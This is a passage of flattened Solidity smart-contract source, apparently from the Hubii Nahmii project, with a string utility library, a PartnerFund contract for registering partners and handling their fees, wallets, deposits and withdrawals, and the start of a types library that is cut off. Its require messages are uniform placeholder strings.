them only when * necessary not to clog the blockchain with expensive transactions. * * @author James Lockhart <[email protected]> */ library Strings { /** * Concat (High gas cost) * * Appends two strings together and returns a new value * * @param _base When being used for a data type this is the extended object * otherwise this is the string which will be the concatenated * prefix * @param _value The value to be the concatenated suffix * @return string The resulting string from combinging the base and value */ function concat(string memory _base, string memory _value) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); assert(_valueBytes.length > 0); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for (i = 0; i < _baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for (i = 0; i < _valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } /** * Index Of * * Locates and returns the position of a character within a string * * @param _base When being used for a data type this is the extended object * otherwise this is the string acting as the haystack to be * searched * @param _value The needle to search for, at present this is currently * limited to one character * @return int The position of the needle starting from 0 and returning -1 * in the case of no matches found */ function indexOf(string memory _base, string memory _value) internal pure returns (int) { return _indexOf(_base, _value, 0); } /** * Index Of * * Locates and returns the position of a character within a string starting * from a defined offset * * @param _base When being used for a data type this is the extended object * otherwise this is the string acting as the haystack to be * searched * @param _value The needle to search for, at present this is currently * limited to one character * @param _offset The starting point to start searching from which can start * from 0, but must not exceed the length of the string * @return int The position of the needle starting from 0 and returning -1 * in the case of no matches found */ function _indexOf(string memory _base, string memory _value, uint _offset) internal pure returns (int) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); assert(_valueBytes.length == 1); for (uint i = _offset; i < _baseBytes.length; i++) { if (_baseBytes[i] == _valueBytes[0]) { return int(i); } } return -1; } /** * Length * * Returns the length of the specified string * * @param _base When being used for a data type this is the extended object * otherwise this is the string to be measured * @return uint The length of the passed string */ function length(string memory _base) internal pure returns (uint) { bytes memory _baseBytes = bytes(_base); return _baseBytes.length; } /** * Sub String * * Extracts the beginning part of a string based on the desired length * * @param _base When being used for a data type this is the extended object * otherwise this is the string that will be used for * extracting the sub string from * @param _length The length of the sub string to be extracted from the base * @return string The extracted sub string */ function substring(string memory _base, int _length) internal pure returns (string memory) { return _substring(_base, _length, 0); } /** * Sub String * * Extracts the part of a string based on the desired length and offset. The * offset and length must not exceed the lenth of the base string. * * @param _base When being used for a data type this is the extended object * otherwise this is the string that will be used for * extracting the sub string from * @param _length The length of the sub string to be extracted from the base * @param _offset The starting point to extract the sub string from * @return string The extracted sub string */ function _substring(string memory _base, int _length, int _offset) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); assert(uint(_offset + _length) <= _baseBytes.length); string memory _tmp = new string(uint(_length)); bytes memory _tmpBytes = bytes(_tmp); uint j = 0; for (uint i = uint(_offset); i < uint(_offset + _length); i++) { _tmpBytes[j++] = _baseBytes[i]; } return string(_tmpBytes); } /** * String Split (Very high gas cost) * * Splits a string into an array of strings based off the delimiter value. * Please note this can be quite a gas expensive function due to the use of * storage so only use if really required. * * @param _base When being used for a data type this is the extended object * otherwise this is the string value to be split. * @param _value The delimiter to split the string on which must be a single * character * @return string[] An array of values split based off the delimiter, but * do not container the delimiter. */ function split(string memory _base, string memory _value) internal pure returns (string[] memory splitArr) { bytes memory _baseBytes = bytes(_base); uint _offset = 0; uint _splitsCount = 1; while (_offset < _baseBytes.length - 1) { int _limit = _indexOf(_base, _value, _offset); if (_limit == -1) break; else { _splitsCount++; _offset = uint(_limit) + 1; } } splitArr = new string[](_splitsCount); _offset = 0; _splitsCount = 0; while (_offset < _baseBytes.length - 1) { int _limit = _indexOf(_base, _value, _offset); if (_limit == - 1) { _limit = int(_baseBytes.length); } string memory _tmp = new string(uint(_limit) - _offset); bytes memory _tmpBytes = bytes(_tmp); uint j = 0; for (uint i = _offset; i < uint(_limit); i++) { _tmpBytes[j++] = _baseBytes[i]; } _offset = uint(_limit) + 1; splitArr[_splitsCount++] = string(_tmpBytes); } return splitArr; } /** * Compare To * * Compares the characters of two strings, to ensure that they have an * identical footprint * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to compare against * @param _value The string the base is being compared to * @return bool Simply notates if the two string have an equivalent */ function compareTo(string memory _base, string memory _value) internal pure returns (bool) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); if (_baseBytes.length != _valueBytes.length) { return false; } for (uint i = 0; i < _baseBytes.length; i++) { if (_baseBytes[i] != _valueBytes[i]) { return false; } } return true; } /** * Compare To Ignore Case (High gas cost) * * Compares the characters of two strings, converting them to the same case * where applicable to alphabetic characters to distinguish if the values * match. * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to compare against * @param _value The string the base is being compared to * @return bool Simply notates if the two string have an equivalent value * discarding case */ function compareToIgnoreCase(string memory _base, string memory _value) internal pure returns (bool) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); if (_baseBytes.length != _valueBytes.length) { return false; } for (uint i = 0; i < _baseBytes.length; i++) { if (_baseBytes[i] != _valueBytes[i] && _upper(_baseBytes[i]) != _upper(_valueBytes[i])) { return false; } } return true; } /** * Upper * * Converts all the values of a string to their corresponding upper case * value. * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to convert to upper case * @return string */ function upper(string memory _base) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); for (uint i = 0; i < _baseBytes.length; i++) { _baseBytes[i] = _upper(_baseBytes[i]); } return string(_baseBytes); } /** * Lower * * Converts all the values of a string to their corresponding lower case * value. * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to convert to lower case * @return string */ function lower(string memory _base) internal pure returns (string memory) { bytes memory _baseBytes = bytes(_base); for (uint i = 0; i < _baseBytes.length; i++) { _baseBytes[i] = _lower(_baseBytes[i]); } return string(_baseBytes); } /** * Upper * * Convert an alphabetic character to upper case and return the original * value when not alphabetic * * @param _b1 The byte to be converted to upper case * @return bytes1 The converted value if the passed value was alphabetic * and in a lower case otherwise returns the original value */ function _upper(bytes1 _b1) private pure returns (bytes1) { if (_b1 >= 0x61 && _b1 <= 0x7A) { return bytes1(uint8(_b1) - 32); } return _b1; } /** * Lower * * Convert an alphabetic character to lower case and return the original * value when not alphabetic * * @param _b1 The byte to be converted to lower case * @return bytes1 The converted value if the passed value was alphabetic * and in a upper case otherwise returns the original value */ function _lower(bytes1 _b1) private pure returns (bytes1) { if (_b1 >= 0x41 && _b1 <= 0x5A) { return bytes1(uint8(_b1) + 32); } return _b1; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title PartnerFund * @notice Where partners’ fees are managed */ contract PartnerFund is Ownable, Beneficiary, TransferControllerManageable { using FungibleBalanceLib for FungibleBalanceLib.Balance; using TxHistoryLib for TxHistoryLib.TxHistory; using SafeMathIntLib for int256; using Strings for string; // // Structures // ----------------------------------------------------------------------------------------------------------------- struct Partner { bytes32 nameHash; uint256 fee; address wallet; uint256 index; bool operatorCanUpdate; bool partnerCanUpdate; FungibleBalanceLib.Balance active; FungibleBalanceLib.Balance staged; TxHistoryLib.TxHistory txHistory; FullBalanceHistory[] fullBalanceHistory; } struct FullBalanceHistory { uint256 listIndex; int256 balance; uint256 blockNumber; } // // Variables // ----------------------------------------------------------------------------------------------------------------- Partner[] private partners; mapping(bytes32 => uint256) private _indexByNameHash; mapping(address => uint256) private _indexByWallet; // // Events // ----------------------------------------------------------------------------------------------------------------- event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId); event RegisterPartnerByNameEvent(string name, uint256 fee, address wallet); event RegisterPartnerByNameHashEvent(bytes32 nameHash, uint256 fee, address wallet); event SetFeeByIndexEvent(uint256 index, uint256 oldFee, uint256 newFee); event SetFeeByNameEvent(string name, uint256 oldFee, uint256 newFee); event SetFeeByNameHashEvent(bytes32 nameHash, uint256 oldFee, uint256 newFee); event SetFeeByWalletEvent(address wallet, uint256 oldFee, uint256 newFee); event SetPartnerWalletByIndexEvent(uint256 index, address oldWallet, address newWallet); event SetPartnerWalletByNameEvent(string name, address oldWallet, address newWallet); event SetPartnerWalletByNameHashEvent(bytes32 nameHash, address oldWallet, address newWallet); event SetPartnerWalletByWalletEvent(address oldWallet, address newWallet); event StageEvent(address from, int256 amount, address currencyCt, uint256 currencyId); event WithdrawEvent(address to, int256 amount, address currencyCt, uint256 currencyId); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Fallback function that deposits ethers function() external payable { _receiveEthersTo( indexByWallet(msg.sender) - 1, SafeMathIntLib.toNonZeroInt256(msg.value) ); } /// @notice Receive ethers to /// @param tag The tag of the concerned partner function receiveEthersTo(address tag, string memory) public payable { _receiveEthersTo( uint256(tag) - 1, SafeMathIntLib.toNonZeroInt256(msg.value) ); } /// @notice Receive tokens /// @param amount The concerned amount /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of token ("ERC20", "ERC721") function receiveTokens(string memory, int256 amount, address currencyCt, uint256 currencyId, string memory standard) public { _receiveTokensTo( indexByWallet(msg.sender) - 1, amount, currencyCt, currencyId, standard ); } /// @notice Receive tokens to /// @param tag The tag of the concerned partner /// @param amount The concerned amount /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of token ("ERC20", "ERC721") function receiveTokensTo(address tag, string memory, int256 amount, address currencyCt, uint256 currencyId, string memory standard) public { _receiveTokensTo( uint256(tag) - 1, amount, currencyCt, currencyId, standard ); } /// @notice Hash name /// @param name The name to be hashed /// @return The hash value function hashName(string memory name) public pure returns (bytes32) { return keccak256(abi.encodePacked(name.upper())); } /// @notice Get deposit by partner and deposit indices /// @param partnerIndex The index of the concerned partner /// @param depositIndex The index of the concerned deposit /// return The deposit parameters function depositByIndices(uint256 partnerIndex, uint256 depositIndex) public view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { // Require partner index is one of registered partner require(0 < partnerIndex && partnerIndex <= partners.length, "Some error message when require fails [PartnerFund.sol:160]"); return _depositByIndices(partnerIndex - 1, depositIndex); } /// @notice Get deposit by partner name and deposit indices /// @param name The name of the concerned partner /// @param depositIndex The index of the concerned deposit /// return The deposit parameters function depositByName(string memory name, uint depositIndex) public view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { // Implicitly require that partner name is registered return _depositByIndices(indexByName(name) - 1, depositIndex); } /// @notice Get deposit by partner name hash and deposit indices /// @param nameHash The hashed name of the concerned partner /// @param depositIndex The index of the concerned deposit /// return The deposit parameters function depositByNameHash(bytes32 nameHash, uint depositIndex) public view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { // Implicitly require that partner name hash is registered return _depositByIndices(indexByNameHash(nameHash) - 1, depositIndex); } /// @notice Get deposit by partner wallet and deposit indices /// @param wallet The wallet of the concerned partner /// @param depositIndex The index of the concerned deposit /// return The deposit parameters function depositByWallet(address wallet, uint depositIndex) public view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { // Implicitly require that partner wallet is registered return _depositByIndices(indexByWallet(wallet) - 1, depositIndex); } /// @notice Get deposits count by partner index /// @param index The index of the concerned partner /// return The deposits count function depositsCountByIndex(uint256 index) public view returns (uint256) { // Require partner index is one of registered partner require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:213]"); return _depositsCountByIndex(index - 1); } /// @notice Get deposits count by partner name /// @param name The name of the concerned partner /// return The deposits count function depositsCountByName(string memory name) public view returns (uint256) { // Implicitly require that partner name is registered return _depositsCountByIndex(indexByName(name) - 1); } /// @notice Get deposits count by partner name hash /// @param nameHash The hashed name of the concerned partner /// return The deposits count function depositsCountByNameHash(bytes32 nameHash) public view returns (uint256) { // Implicitly require that partner name hash is registered return _depositsCountByIndex(indexByNameHash(nameHash) - 1); } /// @notice Get deposits count by partner wallet /// @param wallet The wallet of the concerned partner /// return The deposits count function depositsCountByWallet(address wallet) public view returns (uint256) { // Implicitly require that partner wallet is registered return _depositsCountByIndex(indexByWallet(wallet) - 1); } /// @notice Get active balance by partner index and currency /// @param index The index of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The active balance function activeBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId) public view returns (int256) { // Require partner index is one of registered partner require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:265]"); return _activeBalanceByIndex(index - 1, currencyCt, currencyId); } /// @notice Get active balance by partner name and currency /// @param name The name of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The active balance function activeBalanceByName(string memory name, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner name is registered return _activeBalanceByIndex(indexByName(name) - 1, currencyCt, currencyId); } /// @notice Get active balance by partner name hash and currency /// @param nameHash The hashed name of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The active balance function activeBalanceByNameHash(bytes32 nameHash, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner name hash is registered return _activeBalanceByIndex(indexByNameHash(nameHash) - 1, currencyCt, currencyId); } /// @notice Get active balance by partner wallet and currency /// @param wallet The wallet of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The active balance function activeBalanceByWallet(address wallet, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner wallet is registered return _activeBalanceByIndex(indexByWallet(wallet) - 1, currencyCt, currencyId); } /// @notice Get staged balance by partner index and currency /// @param index The index of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The staged balance function stagedBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId) public view returns (int256) { // Require partner index is one of registered partner require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:323]"); return _stagedBalanceByIndex(index - 1, currencyCt, currencyId); } /// @notice Get staged balance by partner name and currency /// @param name The name of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The staged balance function stagedBalanceByName(string memory name, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner name is registered return _stagedBalanceByIndex(indexByName(name) - 1, currencyCt, currencyId); } /// @notice Get staged balance by partner name hash and currency /// @param nameHash The hashed name of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The staged balance function stagedBalanceByNameHash(bytes32 nameHash, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner name is registered return _stagedBalanceByIndex(indexByNameHash(nameHash) - 1, currencyCt, currencyId); } /// @notice Get staged balance by partner wallet and currency /// @param wallet The wallet of the concerned partner /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// return The staged balance function stagedBalanceByWallet(address wallet, address currencyCt, uint256 currencyId) public view returns (int256) { // Implicitly require that partner wallet is registered return _stagedBalanceByIndex(indexByWallet(wallet) - 1, currencyCt, currencyId); } /// @notice Get the number of partners /// @return The number of partners function partnersCount() public view returns (uint256) { return partners.length; } /// @notice Register a partner by name /// @param name The name of the concerned partner /// @param fee The partner's fee fraction /// @param wallet The partner's wallet /// @param partnerCanUpdate Indicator of whether partner can update fee and wallet /// @param operatorCanUpdate Indicator of whether operator can update fee and wallet function registerByName(string memory name, uint256 fee, address wallet, bool partnerCanUpdate, bool operatorCanUpdate) public onlyOperator { // Require not empty name string require(bytes(name).length > 0, "Some error message when require fails [PartnerFund.sol:392]"); // Hash name bytes32 nameHash = hashName(name); // Register partner _registerPartnerByNameHash(nameHash, fee, wallet, partnerCanUpdate, operatorCanUpdate); // Emit event emit RegisterPartnerByNameEvent(name, fee, wallet); } /// @notice Register a partner by name hash /// @param nameHash The hashed name of the concerned partner /// @param fee The partner's fee fraction /// @param wallet The partner's wallet /// @param partnerCanUpdate Indicator of whether partner can update fee and wallet /// @param operatorCanUpdate Indicator of whether operator can update fee and wallet function registerByNameHash(bytes32 nameHash, uint256 fee, address wallet, bool partnerCanUpdate, bool operatorCanUpdate) public onlyOperator { // Register partner _registerPartnerByNameHash(nameHash, fee, wallet, partnerCanUpdate, operatorCanUpdate); // Emit event emit RegisterPartnerByNameHashEvent(nameHash, fee, wallet); } /// @notice Gets the 1-based index of partner by its name /// @dev Reverts if name does not correspond to registered partner /// @return Index of partner by given name function indexByNameHash(bytes32 nameHash) public view returns (uint256) { uint256 index = _indexByNameHash[nameHash]; require(0 < index, "Some error message when require fails [PartnerFund.sol:431]"); return index; } /// @notice Gets the 1-based index of partner by its name /// @dev Reverts if name does not correspond to registered partner /// @return Index of partner by given name function indexByName(string memory name) public view returns (uint256) { return indexByNameHash(hashName(name)); } /// @notice Gets the 1-based index of partner by its wallet /// @dev Reverts if wallet does not correspond to registered partner /// @return Index of partner by given wallet function indexByWallet(address wallet) public view returns (uint256) { uint256 index = _indexByWallet[wallet]; require(0 < index, "Some error message when require fails [PartnerFund.sol:455]"); return index; } /// @notice Gauge whether a partner by the given name is registered /// @param name The name of the concerned partner /// @return true if partner is registered, else false function isRegisteredByName(string memory name) public view returns (bool) { return (0 < _indexByNameHash[hashName(name)]); } /// @notice Gauge whether a partner by the given name hash is registered /// @param nameHash The hashed name of the concerned partner /// @return true if partner is registered, else false function isRegisteredByNameHash(bytes32 nameHash) public view returns (bool) { return (0 < _indexByNameHash[nameHash]); } /// @notice Gauge whether a partner by the given wallet is registered /// @param wallet The wallet of the concerned partner /// @return true if partner is registered, else false function isRegisteredByWallet(address wallet) public view returns (bool) { return (0 < _indexByWallet[wallet]); } /// @notice Get the partner fee fraction by the given partner index /// @param index The index of the concerned partner /// @return The fee fraction function feeByIndex(uint256 index) public view returns (uint256) { // Require partner index is one of registered partner require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:501]"); return _partnerFeeByIndex(index - 1); } /// @notice Get the partner fee fraction by the given partner name /// @param name The name of the concerned partner /// @return The fee fraction function feeByName(string memory name) public view returns (uint256) { // Get fee, implicitly requiring that partner name is registered return _partnerFeeByIndex(indexByName(name) - 1); } /// @notice Get the partner fee fraction by the given partner name hash /// @param nameHash The hashed name of the concerned partner /// @return The fee fraction function feeByNameHash(bytes32 nameHash) public view returns (uint256) { // Get fee, implicitly requiring that partner name hash is registered return _partnerFeeByIndex(indexByNameHash(nameHash) - 1); } /// @notice Get the partner fee fraction by the given partner wallet /// @param wallet The wallet of the concerned partner /// @return The fee fraction function feeByWallet(address wallet) public view returns (uint256) { // Get fee, implicitly requiring that partner wallet is registered return _partnerFeeByIndex(indexByWallet(wallet) - 1); } /// @notice Set the partner fee fraction by the given partner index /// @param index The index of the concerned partner /// @param newFee The partner's fee fraction function setFeeByIndex(uint256 index, uint256 newFee) public { // Require partner index is one of registered partner require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:549]"); // Update fee uint256 oldFee = _setPartnerFeeByIndex(index - 1, newFee); // Emit event emit SetFeeByIndexEvent(index, oldFee, newFee); } /// @notice Set the partner fee fraction by the given partner name /// @param name The name of the concerned partner /// @param newFee The partner's fee fraction function setFeeByName(string memory name, uint256 newFee) public { // Update fee, implicitly requiring that partner name is registered uint256 oldFee = _setPartnerFeeByIndex(indexByName(name) - 1, newFee); // Emit event emit SetFeeByNameEvent(name, oldFee, newFee); } /// @notice Set the partner fee fraction by the given partner name hash /// @param nameHash The hashed name of the concerned partner /// @param newFee The partner's fee fraction function setFeeByNameHash(bytes32 nameHash, uint256 newFee) public { // Update fee, implicitly requiring that partner name hash is registered uint256 oldFee = _setPartnerFeeByIndex(indexByNameHash(nameHash) - 1, newFee); // Emit event emit SetFeeByNameHashEvent(nameHash, oldFee, newFee); } /// @notice Set the partner fee fraction by the given partner wallet /// @param wallet The wallet of the concerned partner /// @param newFee The partner's fee fraction function setFeeByWallet(address wallet, uint256 newFee) public { // Update fee, implicitly requiring that partner wallet is registered uint256 oldFee = _setPartnerFeeByIndex(indexByWallet(wallet) - 1, newFee); // Emit event emit SetFeeByWalletEvent(wallet, oldFee, newFee); } /// @notice Get the partner wallet by the given partner index /// @param index The index of the concerned partner /// @return The wallet function walletByIndex(uint256 index) public view returns (address) { // Require partner index is one of registered partner require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:606]"); return partners[index - 1].wallet; } /// @notice Get the partner wallet by the given partner name /// @param name The name of the concerned partner /// @return The wallet function walletByName(string memory name) public view returns (address) { // Get wallet, implicitly requiring that partner name is registered return partners[indexByName(name) - 1].wallet; } /// @notice Get the partner wallet by the given partner name hash /// @param nameHash The hashed name of the concerned partner /// @return The wallet function walletByNameHash(bytes32 nameHash) public view returns (address) { // Get wallet, implicitly requiring that partner name hash is registered return partners[indexByNameHash(nameHash) - 1].wallet; } /// @notice Set the partner wallet by the given partner index /// @param index The index of the concerned partner /// @return newWallet The partner's wallet function setWalletByIndex(uint256 index, address newWallet) public { // Require partner index is one of registered partner require(0 < index && index <= partners.length, "Some error message when require fails [PartnerFund.sol:642]"); // Update wallet address oldWallet = _setPartnerWalletByIndex(index - 1, newWallet); // Emit event emit SetPartnerWalletByIndexEvent(index, oldWallet, newWallet); } /// @notice Set the partner wallet by the given partner name /// @param name The name of the concerned partner /// @return newWallet The partner's wallet function setWalletByName(string memory name, address newWallet) public { // Update wallet address oldWallet = _setPartnerWalletByIndex(indexByName(name) - 1, newWallet); // Emit event emit SetPartnerWalletByNameEvent(name, oldWallet, newWallet); } /// @notice Set the partner wallet by the given partner name hash /// @param nameHash The hashed name of the concerned partner /// @return newWallet The partner's wallet function setWalletByNameHash(bytes32 nameHash, address newWallet) public { // Update wallet address oldWallet = _setPartnerWalletByIndex(indexByNameHash(nameHash) - 1, newWallet); // Emit event emit SetPartnerWalletByNameHashEvent(nameHash, oldWallet, newWallet); } /// @notice Set the new partner wallet by the given old partner wallet /// @param oldWallet The old wallet of the concerned partner /// @return newWallet The partner's new wallet function setWalletByWallet(address oldWallet, address newWallet) public { // Update wallet _setPartnerWalletByIndex(indexByWallet(oldWallet) - 1, newWallet); // Emit event emit SetPartnerWalletByWalletEvent(oldWallet, newWallet); } /// @notice Stage the amount for subsequent withdrawal /// @param amount The concerned amount to stage /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) function stage(int256 amount, address currencyCt, uint256 currencyId) public { // Get index, implicitly requiring that msg.sender is wallet of registered partner uint256 index = indexByWallet(msg.sender); // Require positive amount require(amount.isPositiveInt256(), "Some error message when require fails [PartnerFund.sol:701]"); // Clamp amount to move amount = amount.clampMax(partners[index - 1].active.get(currencyCt, currencyId)); partners[index - 1].active.sub(amount, currencyCt, currencyId); partners[index - 1].staged.add(amount, currencyCt, currencyId); partners[index - 1].txHistory.addDeposit(amount, currencyCt, currencyId); // Add to full deposit history partners[index - 1].fullBalanceHistory.push( FullBalanceHistory( partners[index - 1].txHistory.depositsCount() - 1, partners[index - 1].active.get(currencyCt, currencyId), block.number ) ); // Emit event emit StageEvent(msg.sender, amount, currencyCt, currencyId); } /// @notice Withdraw the given amount from staged balance /// @param amount The concerned amount to withdraw /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of the token ("" for default registered, "ERC20", "ERC721") function withdraw(int256 amount, address currencyCt, uint256 currencyId, string memory standard) public { // Get index, implicitly requiring that msg.sender is wallet of registered partner uint256 index = indexByWallet(msg.sender); // Require positive amount require(amount.isPositiveInt256(), "Some error message when require fails [PartnerFund.sol:736]"); // Clamp amount to move amount = amount.clampMax(partners[index - 1].staged.get(currencyCt, currencyId)); partners[index - 1].staged.sub(amount, currencyCt, currencyId); // Execute transfer if (address(0) == currencyCt && 0 == currencyId) msg.sender.transfer(uint256(amount)); else { TransferController controller = transferController(currencyCt, standard); (bool success,) = address(controller).delegatecall( abi.encodeWithSelector( controller.getDispatchSignature(), address(this), msg.sender, uint256(amount), currencyCt, currencyId ) ); require(success, "Some error message when require fails [PartnerFund.sol:754]"); } // Emit event emit WithdrawEvent(msg.sender, amount, currencyCt, currencyId); } // // Private functions // ----------------------------------------------------------------------------------------------------------------- /// @dev index is 0-based function _receiveEthersTo(uint256 index, int256 amount) private { // Require that index is within bounds require(index < partners.length, "Some error message when require fails [PartnerFund.sol:769]"); // Add to active partners[index].active.add(amount, address(0), 0); partners[index].txHistory.addDeposit(amount, address(0), 0); // Add to full deposit history partners[index].fullBalanceHistory.push( FullBalanceHistory( partners[index].txHistory.depositsCount() - 1, partners[index].active.get(address(0), 0), block.number ) ); // Emit event emit ReceiveEvent(msg.sender, amount, address(0), 0); } /// @dev index is 0-based function _receiveTokensTo(uint256 index, int256 amount, address currencyCt, uint256 currencyId, string memory standard) private { // Require that index is within bounds require(index < partners.length, "Some error message when require fails [PartnerFund.sol:794]"); require(amount.isNonZeroPositiveInt256(), "Some error message when require fails [PartnerFund.sol:796]"); // Execute transfer TransferController controller = transferController(currencyCt, standard); (bool success,) = address(controller).delegatecall( abi.encodeWithSelector( controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId ) ); require(success, "Some error message when require fails [PartnerFund.sol:805]"); // Add to active partners[index].active.add(amount, currencyCt, currencyId); partners[index].txHistory.addDeposit(amount, currencyCt, currencyId); // Add to full deposit history partners[index].fullBalanceHistory.push( FullBalanceHistory( partners[index].txHistory.depositsCount() - 1, partners[index].active.get(currencyCt, currencyId), block.number ) ); // Emit event emit ReceiveEvent(msg.sender, amount, currencyCt, currencyId); } /// @dev partnerIndex is 0-based function _depositByIndices(uint256 partnerIndex, uint256 depositIndex) private view returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId) { require(depositIndex < partners[partnerIndex].fullBalanceHistory.length, "Some error message when require fails [PartnerFund.sol:830]"); FullBalanceHistory storage entry = partners[partnerIndex].fullBalanceHistory[depositIndex]; (,, currencyCt, currencyId) = partners[partnerIndex].txHistory.deposit(entry.listIndex); balance = entry.balance; blockNumber = entry.blockNumber; } /// @dev index is 0-based function _depositsCountByIndex(uint256 index) private view returns (uint256) { return partners[index].fullBalanceHistory.length; } /// @dev index is 0-based function _activeBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId) private view returns (int256) { return partners[index].active.get(currencyCt, currencyId); } /// @dev index is 0-based function _stagedBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId) private view returns (int256) { return partners[index].staged.get(currencyCt, currencyId); } function _registerPartnerByNameHash(bytes32 nameHash, uint256 fee, address wallet, bool partnerCanUpdate, bool operatorCanUpdate) private { // Require that the name is not previously registered require(0 == _indexByNameHash[nameHash], "Some error message when require fails [PartnerFund.sol:871]"); // Require possibility to update require(partnerCanUpdate || operatorCanUpdate, "Some error message when require fails [PartnerFund.sol:874]"); // Add new partner partners.length++; // Reference by 1-based index uint256 index = partners.length; // Update partner map partners[index - 1].nameHash = nameHash; partners[index - 1].fee = fee; partners[index - 1].wallet = wallet; partners[index - 1].partnerCanUpdate = partnerCanUpdate; partners[index - 1].operatorCanUpdate = operatorCanUpdate; partners[index - 1].index = index; // Update name hash to index map _indexByNameHash[nameHash] = index; // Update wallet to index map _indexByWallet[wallet] = index; } /// @dev index is 0-based function _setPartnerFeeByIndex(uint256 index, uint256 fee) private returns (uint256) { uint256 oldFee = partners[index].fee; // If operator tries to change verify that operator has access if (isOperator()) require(partners[index].operatorCanUpdate, "Some error message when require fails [PartnerFund.sol:906]"); else { // Require that msg.sender is partner require(msg.sender == partners[index].wallet, "Some error message when require fails [PartnerFund.sol:910]"); // If partner tries to change verify that partner has access require(partners[index].partnerCanUpdate, "Some error message when require fails [PartnerFund.sol:913]"); } // Update stored fee partners[index].fee = fee; return oldFee; } // @dev index is 0-based function _setPartnerWalletByIndex(uint256 index, address newWallet) private returns (address) { address oldWallet = partners[index].wallet; // If address has not been set operator is the only allowed to change it if (oldWallet == address(0)) require(isOperator(), "Some error message when require fails [PartnerFund.sol:931]"); // Else if operator tries to change verify that operator has access else if (isOperator()) require(partners[index].operatorCanUpdate, "Some error message when require fails [PartnerFund.sol:935]"); else { // Require that msg.sender is partner require(msg.sender == oldWallet, "Some error message when require fails [PartnerFund.sol:939]"); // If partner tries to change verify that partner has access require(partners[index].partnerCanUpdate, "Some error message when require fails [PartnerFund.sol:942]"); // Require that new wallet is not zero-address if it can not be changed by operator require(partners[index].operatorCanUpdate || newWallet != address(0), "Some error message when require fails [PartnerFund.sol:945]"); } // Update stored wallet partners[index].wallet = newWallet; // Update address to tag map if (oldWallet != address(0)) _indexByWallet[oldWallet] = 0; if (newWallet != address(0)) _indexByWallet[newWallet] = index; return oldWallet; } // @dev index is 0-based function _partnerFeeByIndex(uint256 index) private view returns (uint256) { return partners[index].fee; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title NahmiiTypesLib * @dev Data types of general nahmii character */ library NahmiiTypesLib { // // Enums // ----------------------------------------------------------------------------------------------------------------- enum ChallengePhase {Dispute, Closed} // // Structures // ----------------------------------------------------------------------------------------------------------------- struct OriginFigure { uint256 originId; MonetaryTypesLib.Figure figure; } struct 